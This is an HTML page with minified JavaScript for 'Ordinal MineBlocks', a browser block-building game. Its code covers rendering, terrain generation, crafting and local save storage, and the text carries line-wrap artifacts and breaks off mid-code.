sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
